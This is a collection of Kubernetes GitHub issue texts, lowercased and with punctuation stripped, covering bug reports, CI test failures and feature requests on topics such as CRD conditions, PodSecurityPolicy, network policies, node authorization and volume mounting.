 \r   what happened  : the  lasttransitiontime  for a crds  namesaccepted  condition is always null\r \r   what you expected to happen  : it should have a timestamp\r \r   how to reproduce it  as minimally and precisely as possible   : create a crd and then examine its yaml/json. for example:\r    yaml\r status:\r   acceptednames:\r     kind: backup\r     listkind: backuplist\r     plural: backups\r     singular: backup\r   conditions:\r   - lasttransitiontime: null\r     message: no conflicts found\r     reason: noconflicts\r     status: \ true\ \r     type: namesaccepted\r   - lasttransitiontime: 2017-10-16t15:49:15z\r     message: the initial names have been accepted\r     reason: initialnamesaccepted\r     status: \ true\ \r     type: established\r    \r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : commit a6625085f5091bc5ed5b7d0f5153e662ea7fd5d1\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r @kubernetes/sig-api-machinery-bugs @deads2k @sttts

i propose to do the next push of the staging repos.\r \r as for the previous pushes:\r \r - the push script: https://gist.github.com/sttts/6824e5f3822e0f0969c65ff4bba14772  updated dec 7 v2 \r - the last heads for a potential rollback: https://gist.github.com/be24792c03554b797566b7cd6e363d0f  dec 6 \r - the test script: https://gist.github.com/53aa32d0d17370f92a5350f2bf52bfba  updated dec 7 \r \r the test script has successfully been run.\r \r we restrict the push to master, 1.8 and 1.9 branches because  53583 blocks 1.7 right now  and probably similarly for 1.6, 1.5 if we want to keep them up-to-date at all .

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r \r deploy efk with  cluster/addons/fluentd-elasticsearch/, find out deploy failed with error: imagepullbackoff.\r \r after doing a docker pull on one node i find out the registry server is requiring authentication.\r \r    console\r root@server4:~  docker pull k8s.gcr.io/fluentd-elasticsearch:v2.2.0\r pulling repository k8s.gcr.io/fluentd-elasticsearch\r unauthorized: authentication required\r root@server4:~  \r    \r \r   what you expected to happen  :\r \r fluentd images can pull from k8s.gcr.io\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. cd cluster/addons/fluentd-elasticsearch\r 2. kubectl deploy -f .\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r liuzhipingdemacbook-air:src liuzhiping$ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.5\ , gitcommit:\ 32ac1c9073b132b8ba18aa830f46b77dcceb0723\ , gittreestate:\ clean\ , builddate:\ 2018-06-21t11:46:00z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t20:08:34z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r liuzhipingdemacbook-air:src liuzhiping$ \r \r - cloud provider or hardware configuration:\r 2 node dev machines\r - os  e.g. from /etc/os-release :\r name=\ ubuntu\ \r version=\ 16.04.4 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.4 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r \r - kernel  e.g.  uname -a  :\r linux server4 4.4.0-127-generic  153-ubuntu smp sat may 19 10:58:46 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  \r \r   what happened  :\r when using  podsecuritypolicy   and  selfhosting  together, the init process gets stuck on creating the mirror pods and never reaches the point of creating the self-hosted pods:\r    \r e0804 13:32:00.162451    1683 kubelet.go:1598  failed creating a mirror pod for \ kube-controller-manager-master-1_kube-system 371a6d70692e0437cf9024747fb3e6bd \ : pods \ kube-controller-manager-master-1\  is forbidden: no providers available to validate pod request\r e0804 13:32:00.169378    1683 kubelet.go:1598  failed creating a mirror pod for \ kube-scheduler-master-1_kube-system 9be5cfe219edcdecfb0f32cc1bbe7579 \ : pods \ kube-scheduler-master-1\  is forbidden: no providers available to validate pod request\r e0804 13:32:00.176229    1683 kubelet.go:1598  failed creating a mirror pod for \ kube-apiserver-master-1_kube-system 161105bbdac63f4ffd51c371b7e74baf \ : pods \ kube-apiserver-master-1\  is forbidden: no providers available to validate pod request\r    \r   what you expected to happen  :\r to have an option to specify a psp, or a sane default for the  kube-system  namespace that will allow the self-hosted control plane to come up  and the mirror pods without self-hosted .\r \r   how to reproduce it  as minimally and precisely as possible   :\r  kubeadm init --config kubeadm.yaml \r \r  kubeadm.yaml:\r    yaml\r kind: masterconfiguration\r clustername: example\r bootstraptokens:\r - token: abcdef.0123456789abcdef\r   ttl: 0s\r networking:\r   dnsdomain: cluster.local\r   podsubnet: 10.244.0.0/16\r   servicesubnet: 10.96.0.0/12\r unifiedcontrolplaneimage: gcr.io/google_containers/hyperkube:v1.11.1\r apiserverextraargs:\r   enable-admission-plugins: podsecuritypolicy\r featuregates:\r   selfhosting: true\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r 

i found some log lost in kibana dashboard, so i check if fluentd daemonset running or not. i check log of fluentd pod, and one pod log is like this:\r  root@master1 ~   kubectl log fluentd-vl2px -n kube-system\r w0928 11:16:00.203558 3756301 cmd.go:353  log is deprecated and will be removed in a future version. use logs instead.\r 2018-09-28 02:16:39 +0000  info :  elasticsearch  connection opened to elasticsearch cluster => {:host=>\ elasticsearch\ , :port=>9200, :scheme=>\ http\ }\r 2018-09-28 02:16:39 +0000  info :  elasticsearch  detected es 6.x: es 7.x will only accept  _doc  in type_name.\r 2018-09-28 02:16:39 +0000  error :  elasticsearch  found broken chunk file during resume. deleted corresponding files: path=\ /var/log/fluentd-buffers/kubernetes.system.buffer/buffer.b576e503ce75e97b89a49bffb4199188b.log\  mode=:staged err_msg=\ staged file chunk is empty\ \r

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r https://gubernator.k8s.io/build/kubernetes-jenkins/pr-logs/pull/70492/pull-kubernetes-node-e2e/110020/\r \r   which test s  are failing  :\r  k8s.io  container runtime blackbox test on terminated container should report termination message from log output if terminationmessagepolicy fallbacktologsonerror is set  nodeconformance \r \r   since when has it been failing  :\r failing under pr  70492\r \r   testgrid link  :\r https://testgrid.k8s.io/presubmits-kubernetes-blocking pull-kubernetes-node-e2e&include-filter-by-regex=from%20log%20output%20if%20terminationmessagepolicy%20fallbacktologsonerror%20is%20set&show-stale-tests=\r \r   reason for failure  :\r unable to match the inconsistent termination message with an expected value.\r \r https://gubernator.k8s.io/build/kubernetes-jenkins/pr-logs/pull/70492/pull-kubernetes-node-e2e/110020/\r    \r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/common/runtime.go:193\r expected\r     <string>: done\r     \r to equal\r     <string>: done\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/common/runtime.go:161\r    \r https://gubernator.k8s.io/build/kubernetes-jenkins/pr-logs/pull/70492/pull-kubernetes-node-e2e/110014/\r    \r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/common/runtime.go:193\r expected\r     <string>: done\r to equal\r     <string>: done\r     \r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/common/runtime.go:161\r    \r   anything else we need to know  :\r - https://github.com/kubernetes/kubernetes/pull/70492 issuecomment-435030492\r \r <!-- do not edit below this line -->\r 

it would be great if we could check client & version skew in multi-phase jenkins jobs, but right now we can't because we might see version drift in  latest.txt  in between phases.  there may be a way to pass-through versions, and we should investigate it.

this is intended to be an umbrella issue for adding e2e tests for networking.  1. ping test  pod to pod. node to pod. pod to internet  ref:  27059 2. source ip preservation  pod to service cluster ip . ref:  27110  3. pod hostport   with/without hostnetwork mode  . ref:  27141

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-kubenet/450/  failed:  k8s.io  proxy version v1 should proxy to cadvisor using proxy subresource {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/proxy.go:67 expected error:     < errors.statuserror | 0xc421189500>: {         errstatus: {             typemeta: {kind: \ \ , apiversion: \ \ },             listmeta: {selflink: \ \ , resourceversion: \ \ },             status: \ failure\ ,             message: \ an error on the server  \\\ error: 'dial tcp 10.240.0.5:4194: getsockopt: connection refused'\\\ trying to reach: 'http://bootstrap-e2e-minion-group-ocfh:4194/containers/'\\\   has prevented the request from succeeding\ ,             reason: \ internalerror\ ,             details: {                 name: \ \ ,                 group: \ \ ,                 kind: \ \ ,                 causes:                       {                         type: \ unexpectedserverresponse\ ,                         message: \ error: 'dial tcp 10.240.0.5:4194: getsockopt: connection refused'\ trying to reach: 'http://bootstrap-e2e-minion-group-ocfh:4194/containers/'\ ,                         field: \ \ ,                     },                  ,                 retryafterseconds: 0,             },             code: 503,         },     }     an error on the server  \ error: 'dial tcp 10.240.0.5:4194: getsockopt: connection refused'\ trying to reach: 'http://bootstrap-e2e-minion-group-ocfh:4194/containers/'\   has prevented the request from succeeding not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/proxy.go:326

in order to obtain the resources needed to run pods, kubelets currently have broad access to the api:\r   read any secret\r   read any configmap\r   read any persistentvolumeclaim\r   create/update any pod and pod status\r   create/update any node and node status\r \r to properly secure individual nodes and limit the ability of a particular node to access the cluster, the kubelet should only be allowed to retrieve data from the apiserver for resources associated with it. this essentially means that it is only be able to get pods scheduled to it, along with any related items, such as secrets, configmaps, pvcs, etc. this filtering applies to get/list/watch calls as well.\r \r we will not be able to use the generic policy engine for this, as it’s not possible to express rules for this scenario. instead, we’ll likely need to create a new authorizer with hard-coded rules. we can make this work by building a ref-counter based summary of referenceable objects based on a watch of a subset of resources.\r \r authorizer/admission:\r   identify requests from particular nodes  pattern already in place with node tls bootstrapper, builds a user name the node name can be extracted from \r   build the graph of objects referenced by pods bound to the node\r   limit the pods that a node is inherently allowed to create  only static pods, only bound to itself, no secret/pvc/configmap references \r \r ~~new api access patterns needed by the kubelet  only needed if we want to allow list/watch of secrets :~~ moved to https://github.com/kubernetes/community/pull/443\r   ~~{list,watch,get} {secrets,configmaps,persistentvolumeclaims,...} used by pods bound to the node~~\r

this is a request for improvement.\r \r currently kubernetes will format a volume if it finds it's not formatted and always mount it as a branch of the file system.\r there is some software that works better with raw devices, such as oracle rac for example.\r this request is about allowing kubernetes to mount raw devices. volumes that would support this should be:\r \r - emptydir\r - persistentvolume whose backing storage is a block device, such as rbd

this issue tracks the support of validating images used on gke.\r \r -  x  https://github.com/kubernetes/kubernetes/pull/46238: support validating package versions in node conformance test.\r -  x  https://github.com/kubernetes/kubernetes/pull/46893: support customized system spec in the node conformance test and create the gke system spec.\r -  x  https://github.com/kubernetes/kubernetes/pull/49064: test ubuntu image using gke image spec.\r -  x  https://github.com/kubernetes/kubernetes/pull/49443: add node e2e test cases for validating gke images.\r \r @dchen1107

what happened  :\r unify  pattern by using map/reduce pattern. in current  implementation, there are two patterns:\r - map/reduce\r - one whole function\r \r there are still three  the whole one  named  calculatespreadpriority    calculateinterpodaffinitypriority   calculateantiaffinitypriority  hadn't use map/reduce pattern.\r \r i have completed one refactoring named  calculatespreadpriority   insteaded by  calculatespreadprioritymap/calculatespreadpriorityreduce , and had send a pr https://github.com/kubernetes/kubernetes/pull/51192  for this.\r \r if all  refactoring done by using map/reduce pattern, we will benifit from:\r - simply   prioritizenodes   process \r - simply  registered process, etc.\r - remove all deprecated stuff, e.g  priorityfunctionfactory \r - unify  registerpriorityfunction  and  registerpriorityfunction2  \r \r i am not list all things, just hopes to initiate analyzing.\r   what you expected to happen  :\r \r unify the  pattern if we can.\r not sure all  fit to map/reduce pattern in current definition.  but at least  calculatespreadpriority   is definitely the one need to refactor.\r \r /cc @k82cn @resouer @davidopp

  \r node e2e tests exist for the cpu manager but cannot run because they require multiple cpus to be available in the test vm. before allowing the feature to graduate from alpha to beta, these tests should be made gating to prevent regressions.\r

/ / /area platform/gke\r  /status approved-for-milestone\r @kubernetes/sig-gcp-test-failures \r \r this job has been failing since 2017-11-18.  it's on the  sig-release-master-blocking dashboard  https://k8s-testgrid.appspot.com/sig-release-master-blocking ,\r and prevents us from cutting  v1.9.0-beta.1   kubernetes/sig-release 34 . is there work ongoing to bring this job back to green?\r \r https://k8s-testgrid.appspot.com/sig-release-master-blocking gke-device-plugin-gpu-p100\r \r - last good: k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-device-plugin-gpu-p100/21\r - first bad: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-device-plugin-gpu-p100/22\r - latest bad: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-device-plugin-gpu-p100/25

on my k8s cluster, one node become notready status, then i delete and recreate the daemonset, and then recover and restart the node manually. but the daemonset pod does not run on this recovered node again.\r \r status of node and daemonset pod before node recover:\r    \r  root@shcderayperf8 bin   kubectl get nodes -l role=loadbalancer\r name                          status     roles     age       version\r shcderayperf10.hpeswlab.net   ready      <none>    5h        v1.8.3\r shcderayperf8.hpeswlab.net    notready   <none>    5h        v1.8.3\r shcderayperf9.hpeswlab.net    ready      <none>    5h        v1.8.3\r    \r    \r  root@shcderayperf8 bin   kubectl get pods -n core -o wide\r name                                        ready     status     restarts   age       ip               node\r nginx-ingress-controller-7rh87              1/1       running    0          25m       172.16.69.9      shcderayperf9.hpeswlab.net\r nginx-ingress-controller-8496k              1/1       nodelost   0          25m       172.16.15.6      shcderayperf8.hpeswlab.net\r nginx-ingress-controller-qgfbd              1/1       running    0          25m       172.16.59.7      shcderayperf10.hpeswlab.net\r    \r \r pod status after running deleting daemonset:\r    \r name                                        ready     status        restarts   age       ip               node\r nginx-ingress-controller-8496k              1/1       unknown    0          33m       172.16.15.6      shcderayperf8.hpeswlab.net\r    \r pod status after recreate the daemonset:\r    \r name                                        ready     status        restarts   age       ip               node\r nginx-ingress-controller-8496k              1/1       unknown    0          34m       172.16.15.6      shcderayperf8.hpeswlab.net\r nginx-ingress-controller-j6654              1/1       running    0          5s        172.16.69.9      shcderayperf9.hpeswlab.net\r nginx-ingress-controller-zkv27              1/1       running    0          5s        172.16.59.7      shcderayperf10.hpeswlab.net\r    \r \r after recover and restart not ready node, then daemonset pod does not run on shcderayperf8.hpeswlab.net node\r \r \r    \r   kubectl get ds nginx-ingress-controller -n core\r name                       desired   current   ready     up-to-date   available   node selector       age\r nginx-ingress-controller   2         2         2         2            2           role=loadbalancer   16m\r \r \r name                                        ready     status        restarts   age       ip               node\r nginx-ingress-controller-j6654              1/1       running            0          4m        172.16.69.9      shcderayperf9.hpeswlab.net\r nginx-ingress-controller-zkv27              1/1       running            0          4m        172.16.59.7      shcderayperf10.hpeswlab.net\r    \r \r \r   environment  :\r - kubernetes version  use  kubectl version  : \r v1.8.3\r - os  e.g. from /etc/os-release :\r name=\ red hat enterprise linux server\ \r version=\ 7.3  maipo \ \r - kernel  e.g.  uname -a  :\r 3.10.0-514.el7.x86_64  1 smp wed oct 19 11:24:13 edt 2016 x86_64 x86_64 x86_64 gnu/linux\r

while testing custom volume name, i have found the volume id fetching going wrong due to the fact that,  getvolumeid   looks for a different annotation. \r \r

   \r as a cluster admin i'd like the ability to enforce that specific  are only used in specific namespaces. i'd also like the ability to apply specific  to namespaces by default. this helps ensure that lower  like dev and test, cannot use  that make it equal to or more important than production namespaces. this also helps ensure that production namespaces automatically have a higher  dev/test. \r \r the idea for this comes from the  podtolerationrestriction  https://kubernetes.io/docs/admin/admission-controllers/ podtolerationrestriction  and  podnodeselector  https://kubernetes.io/docs/admin/admission-controllers/ podnodeselector  admission controllers which provide the cluster admin the ability to enforce specific rules by namespace. \r \r i propose we add support for two new annotations on namespaces to cover restricting access to the  and applying defaults per namespace.\r \r    \r scheduler.alpha.kubernetes.io/defaultpriorityclass \r    \r \r and \r \r    \r scheduler.alpha.kubernetes.io/priorityclasswhitelist\r    \r

  \r \r   what happened  :\r \r upgrade from 1.9  either 1.9.3 or 1.9.6  to 1.10  either 1.10.0 or 1.10.1  - after a few hours of running, api server, starts throttling cpu at 100% and consuming more and more memory. only error logs:\r \r    \r e0413 12:45:48.549420       1 authentication.go:63  unable to authenticate the request due to an error:  invalid bearer token,  invalid bearer token, token has been invalidated  \r e0413 12:45:48.549680       1 errors.go:90  no context found for request\r    \r \r other symptoms are: \r  - slow api server responses\r  - nodes becoming  notready \r \r   what you expected to happen  :\r \r things to work.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r update version of hyperkube 1.9 > 1.10\r \r   anything else we need to know?  :\r \r \r \r   environment  :\r \r etcd: v3.3.2\r \r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-07t12:22:21z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.1+coreos.0\ , gitcommit:\ baafb306bb191971a84cb1796420d093de7e6014\ , gittreestate:\ clean\ , builddate:\ 2018-04-12t21:14:39z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r aws\r 3 etcd instances\r 3 masters in asg\r 3 workers in asg\r \r    \r name=\ container linux by coreos\ \r id=coreos\r version=1688.5.3\r version_id=1688.5.3\r build_id=2018-04-03-0547\r pretty_name=\ container linux by coreos 1688.5.3  rhyolite \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r coreos_board=\ amd64-usr\ \r    \r \r    \r linux ip-10-66-23-26 4.14.32-coreos  1 smp tue apr 3 05:21:26 utc 2018 x86_64 intel r  xeon r  cpu e5-2686 v4 @ 2.30ghz genuineintel gnu/linux\r    \r ! 2018-04-13-134312_2450x269_scrot  https://user-images.githubusercontent.com/1801067/38735914-3352c744-3f22-11e8-9594-16caed9dfc69.png \r \r our api-server pod definition: https://github.com/utilitywarehouse/tf_kube_ignition/blob/master/resources/kube-apiserver.yaml

\r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r  pull-kubernetes-kubemark-e2e-gce-big  always fails\r \r all error info like:\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/63901/pull-kubernetes-kubemark-e2e-gce-big/8390/\r \r \r

when performing a --watch on events, the following improvements should be taken into consideration:\r - \ delete\  events should not be shown, at least for --watch-only as they are not relevant here\r - display the fact that the pod  whose events we are watching  has been deleted  when that's the case \r \r the first point above could be introduced as new functionality to the  --watch-only  flag.\r the second point could be added as an additional option to  --watch-only  that can be toggled.\r \r cc @smarterclayton

in gke 1.8, lots of kube-system pods can not get cluster status when enabling gke legacy authorization.\r \r  \r the logs are shown as following: \r autoscaler\r  \r \terror while getting cluster status: get https://10.7.240.1:443/api/v1/nodes: dial tcp 10.7.240.1:443: getsockopt: connection refused\r  \r \r event-exporter\r  \r \tgithub.com/googlecloudplatform/k8s-stackdriver/event-exporter/watchers/watcher.go:50: failed to list  v1.event: get https://10.7.240.1:443/api/v1/events?resourceversion=0: dial tcp 10.7.240.1:443: getsockopt: connection refused\r \r heapster-nanny\r \tk8s.io/contrib/addon-resizer/nanny/kubernetes_client.go:108: failed to list  v1.node: get https://10.7.240.1:443/api/v1/nodes?resourceversion=0: dial tcp 10.7.240.1:443: getsockopt: connection refused\r  \r \r kubedns\r  \r \tk8s.io/dns/vendor/k8s.io/client-go/tools/cache/reflector.go:94: failed to list  v1.endpoints: get https://10.7.240.1:443/api/v1/endpoints?resourceversion=0: dial tcp 10.7.240.1:443: getsockopt: connection refused\r  \r \r kubernetes-dashboard\r  \r \t\ 2018/08/16 06:38:00 synchronizer kubernetes-dashboard-key-holder-kube-system exited with error: kubernetes-dashboard-key-holder-kube-system watch ended with timeout \r

is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r i'm attempting to configure a network policy on gke with \ network policy for nodes\  and \ metadata concealment proxy\  enabled. my goal is simple: i want to block access to the metadata endpoint at  169.254.169.254  while allowing all other egress traffic. i cannot get the network policy to block access to that ip.\r \r   what you expected to happen  :\r i would expect that setting an ip in the  except  field would block that ip while allowing all other traffic. this works fine with other ip addresses i have tried, but not for  169.254.169.254 .\r \r   how to reproduce it  as minimally and precisely as possible   :\r    yaml\r apiversion: networking.k8s.io/v1\r kind: networkpolicy\r metadata:\r   name: metadata-restriction-policy\r   namespace: default\r spec:\r   podselector: {}\r   egress:\r   - to:\r     - ipblock:\r         cidr: 0.0.0.0/0\r         except:\r         - 169.254.169.254/32\r   policytypes:\r   - egress\r    \r \r   anything else we need to know?  :\r as a side question, do network policies only work when accessing an ip directly, but not through a domain name? in another test i was able to block an ip when accessed directly, but as soon as i used a domain name that pointed to the same ip it was allowed.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: v1.11.1\r server version: v1.10.6-gke.2\r    \r - cloud provider or hardware configuration: gke\r

failing jobs\r  sig-release-1.12-blocking gce-cos-1.12-alphafeatures  https://k8s-testgrid.appspot.com/sig-release-1.12-blocking gce-cos-1.12-alphafeatures \r  sig-release-1.12-blocking gke-cos-1.12-default  https://k8s-testgrid.appspot.com/sig-release-1.12-blocking gke-cos-1.12-default \r  sig-release-1.12-blocking gke-cos-1.12-reboot  https://k8s-testgrid.appspot.com/sig-release-1.12-blocking gke-cos-1.12-reboot \r  sig-release-1.12-blocking gke-cos-1.12-serial  https://k8s-testgrid.appspot.com/sig-release-1.12-blocking gke-cos-1.12-serial \r  sig-release-1.12-blocking gke-cos-1.12-slow  https://k8s-testgrid.appspot.com/sig-release-1.12-blocking gke-cos-1.12-slow \r  sig-release-1.12-blocking gke-cos-1.12-ingress  https://k8s-testgrid.appspot.com/sig-release-1.12-blocking gke-cos-1.12-ingress \r  sig-release-1.12-blocking gke-device-plugin-gpu-1.12  https://k8s-testgrid.appspot.com/sig-release-1.12-blocking gke-device-plugin-gpu-1.12 \r  sig-release-1.12-blocking gke-device-plugin-gpu-p100-1.12  https://k8s-testgrid.appspot.com/sig-release-1.12-blocking gke-device-plugin-gpu-p100-1.12 \r   failing tests\r  ci-kubernetes-e2e-gce-cos-k8sbeta-alphafeatures  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-cos-k8sbeta-alphafeatures/5222 \r  ci-kubernetes-e2e-gke-cos-k8sbeta-default  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cos-k8sbeta-default/5374 \r  ci-kubernetes-e2e-gke-cos-k8sbeta-reboot  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cos-k8sbeta-reboot/4851 \r  ci-kubernetes-e2e-gke-cos-k8sbeta-serial  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cos-k8sbeta-serial/1299 \r  ci-kubernetes-e2e-gke-cos-k8sbeta-slow  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cos-k8sbeta-slow/5381 \r  ci-kubernetes-e2e-gke-cos-k8sbeta-ingress  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cos-k8sbeta-ingress/4232 \r  ci-kubernetes-e2e-gke-device-plugin-gpu-beta  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-device-plugin-gpu-beta/2850 \r  ci-kubernetes-e2e-gke-device-plugin-gpu-p100-beta  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-device-plugin-gpu-p100-beta/479 \r \r /cc @tpepper @aishsundar @kubernetes/sig-gcp-test-failures @kubernetes/sig-cluster-lifecycle \r  /   /milestone v1.12

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r we try to integrate v1.12.1. when we try to use glusterfs volume the kubelet can't able to mount it. \r gluster client version:  glusterfs 3.10.12\r \r i tried to investigate the problem and i think the problem is next: \r  here  https://github.com/kubernetes/kubernetes/blob/release-1.12/pkg/volume/glusterfs/glusterfs.go l365  you try to check the error message if the mount failed with auto_mount option:\r \r but in my case the response is next  i manually added a log line to the code : \r {\ msg\ :\ i1018 05:47:40.593370    9295 glusterfs.go:365  exit status 1\ }\r \r so the check is wrong in my case. of course when i give out manually the nsenter command i saw  invalid argument  error message but somehow this message converted to  exit status 1  in the glusterfs.go.\r \r   what you expected to happen  :\r mount the gluster volume.\r \r   how to reproduce it  as minimally and precisely as possible   :\r use 3.10.12 with kubernetes v1.12.1 and try out glusterfs volume type. \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.5\ , gitcommit:\ 32ac1c9073b132b8ba18aa830f46b77dcceb0723\ , gittreestate:\ clean\ , builddate:\ 2018-06-21t11:46:00z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.1\ , gitcommit:\ 4ed3216f3ec431b140b1d899130a69fc671678f4\ , gittreestate:\ archive\ , builddate:\ 2018-10-08t12:08:58z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - os  e.g. from /etc/os-release : redhat 7.5 with newer kernel\r - kernel  e.g.  uname -a  : \r linux multi-zadory-2731-2018-10-13--12-infra-node-1 4.4.159-1.el7.elrepo.x86_64  1 smp sat sep 29 08:16:29 edt 2018 x86_64 x86_64 x86_64 gnu/linux\r - others: kubelet run in container\r \r @humblec please chekc it. thanks!

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r  > currently there is no disk state check when attaching one azure disk to a node, this would lead to attaching one azure disk volume to multiple nodes, causing lots of errors.\r \r update:\r actually there is already multi-node attach check in k8s controller manager code:\r https://github.com/kubernetes/kubernetes/blob/e47fc04adc39c06bcdd6d7dc74ee881d8740a81a/pkg/controller/volume/attachdetach/reconciler/reconciler.go l137-l148\r \r https://github.com/kubernetes/kubernetes/blob/e47fc04adc39c06bcdd6d7dc74ee881d8740a81a/pkg/controller/volume/attachdetach/reconciler/reconciler.go l271-l278\r \r the multi-attach error event would be like following:\r    \r events:\r   type     reason              age   from                     message\r   ----     ------              ----  ----                     -------\r   normal   scheduled           16s   default-scheduler        successfully assigned default/deployment-azuredisk1-6fc77ccb84-4gmbj to k8s-agentpool-22533604-1\r   warning  failedattachvolume  16s   attachdetach-controller  multi-attach error for volume \ pvc-d753c830-4ec0-11e9-bf94-000d3a04b60e\  volume is already used by pod s  deployment-azuredisk1-6fc77ccb84-dz8cr, deployment-azuredisk1-6fc77ccb84-6dp57\r    \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : master\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  /assign

